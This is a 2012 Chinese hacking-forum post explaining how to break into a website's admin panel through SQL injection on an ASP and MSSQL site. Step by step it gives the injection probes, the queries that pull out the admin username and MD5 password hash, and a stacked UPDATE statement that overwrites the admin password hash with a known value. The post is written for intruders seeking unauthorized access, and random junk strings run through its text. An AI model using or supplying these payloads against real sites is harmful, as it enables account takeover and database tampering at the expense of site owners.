经常拿站的黑阔们一定经常碰到，某个网站有注入，管理员帐号和密码多暴出来了。# K9 @/ t, ?6 u8 s d" o
可是密码是MD5加密的。而且在线的MD5解密不了。你说咋办？直接修改管理员密码的MD5值。然后进后台！(当然是有条件的。MSSQL)
7 W: U6 ?, k9 n3 r r测试如下：9 x4 T# {* v! p- |# S# N3 J
http://www.tmdsb.com/news.asp?id=121
! ?$ \( e- B) p9 S" @0 g7 b) ]( F* O在地址后输入单引号，显示% t* f1 y) R9 E# U( z7 n4 [2 `
Microsoft OLE DB Provider for SQL Server 错误 ’80040e14’
9 Y3 x5 j# Z3 `- }8 b) [! s* y' s字符串 ’’’ 之前有未闭合的引号9 K1 @3 d2 d5 w
/news/tmdws.asp，行63# _3 P) X# q" m$ n, Q! c* L
说明没有过滤单引号且数据库是MSSQL.
9 B8 S* U7 @* |, l. Tand 1=1正常。and 1=2出错。肯定存在注入
8 v7 r m$ o4 m* D0 u" ]9 W7 t0 }接着输入
L. u: `, b( {6 P% p& B6 Nhttp://www.tmdsb.com/news.asp?id=1 or admin_user in (select id from admin)
% u2 J2 _" W0 f8 D# e2 w得到帐号为:admin6 D2 C: |% a. ~8 Y/ a$ o( R
http://www.tmdsb.com/news.asp?id=121 or admin_password in (select id from admin)
, i8 Y( a3 N: V) u; s1 f6 U; H得到密码为:a4716077c2ba075c7 I X* o, s Z/ s
接下来我们就可以改密码了。但我们先前要知道我们加密的字符：e8dc763194f29433! {. ` T7 c4 o6 z( j) U9 U$ H* a
命令如下 :
7 @# T0 F6 p) m" P8 Q6 H;update shop_admin set password=’e8dc763194f29433’ where password=’a4716077c2ba075c’–
5 B" _/ W$ j; E" M这句的意思就是用e8dc763194f29433替换a4716077c2ba075c，以达到修改密码的目的 |
发表于 2012-9-13 17:55:24
收藏
支持
反对
发表于 2012-9-14 16:22:41